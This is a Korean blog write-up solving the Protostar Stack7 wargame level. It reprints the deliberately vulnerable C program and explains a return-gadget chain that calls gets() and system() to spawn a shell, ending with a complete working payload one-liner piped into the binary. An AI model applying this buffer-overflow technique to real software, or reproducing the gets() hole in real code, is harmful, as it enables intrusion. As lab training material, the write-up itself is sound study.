-
Stack7 풀이System hacking training/Protostar 2019. 4. 11. 01:50
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> char *getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xb0000000) == 0xb0000000) { printf("bzzzt (%p) ", ret); _exit(1); } printf("got path %s ", buffer); return strdup(buffer); } int main(int argc, char **argv) { getpath(); }
Stack의 마지막 문제 풀이를 해봤습니다.
이 문제의 요점은 "가젯을 사용해서 쉘을 띄워라"인것 같습니다.
ret에 0xb로 시작하는 모든 주소가 들어갈 때 예외처리가 되고 있습니다.
따라서 스택에 쉘코드를 넣어서 eip를 스택의 주소로 넣을 수 없고,
RTL을 통해 libc의 어떤 함수를 불러올 수도 없습니다.
따라서 찾은 방법은 ret가젯을 이용하여 함수를 연속적으로 호출하여 쉘을 띄우는 방법입니다.
가젯을 통해 해당 예외처리를 우회하고, gets()를 호출하여 bss영역에 /bin/sh을 넣어준 뒤
system(bss)와 같은 형식으로 system함수를 호출한다면 쉘을 띄울 수 있을것입니다.
가젯은 코드 영역에 존재하기 때문에 0xb로 시작하는 주소에 대한 예외처리를 우회할 수 있습니다.
풀이
풀이에 필요한 가젯들을 구하고, 익스를 해봅시다.
먼저 버퍼의 사이즈부터 체크해야겠죠?
버퍼 사이즈 getpath()에서 gets()가 호출되기 전에 인자를 넣어주는데
이 부분을 통해 버퍼의 크기가 0x4c임을 알 수 있습니다.
0x4c는 10진수로 76이고, SFP까지 덮으려면 4byte가 추가되어야합니다.
따라서 ret까지 가기 위한 dummy값은 80입니다.
다음으로 예외처리를 우회해줄 ret가젯을 구해봅시다.
ret 가젯 구하기 objdump -d 옵션을 주고, grep으로 ret를 찾아주면 ret가젯을 쉽게 구할 수 있습니다.
이제 ret공간에 ret가젯을 넣었기 때문에 다음 주소는 lbc에 존재하는 모든 함수를 이용할 수 있게 되었습니다.
이제 문제는 system(/bin/sh)을 어떻게 실행해줄 것인가에 대한 부분인데
gets(bss) 를 통해 bss영역에 /bin/sh 문자열을 넣어주고, system(bss)를 호출하여 /bin/sh을 실행시킬 수 있습니다.
따라서 다음과 같은 페이로드가 나옵니다.
(python -c 'print "A"*80+"\x83\x83\x04\x08"+"\x40\x3e\xef\xb7"+"\xc8\x85\x04\x08"+"\x80\x97\x04\x08"+"\xb0\xff\xec\xb7"+"AAAA"+"\x80\x97\x04\x08"';cat)|./stack7
dummy(80byte) + gets() + pop ret 가젯 + bss의 주소 + system() + dummy(4byte) + bss의 주소
payload 이상 풀이를 마칩니다.
반응형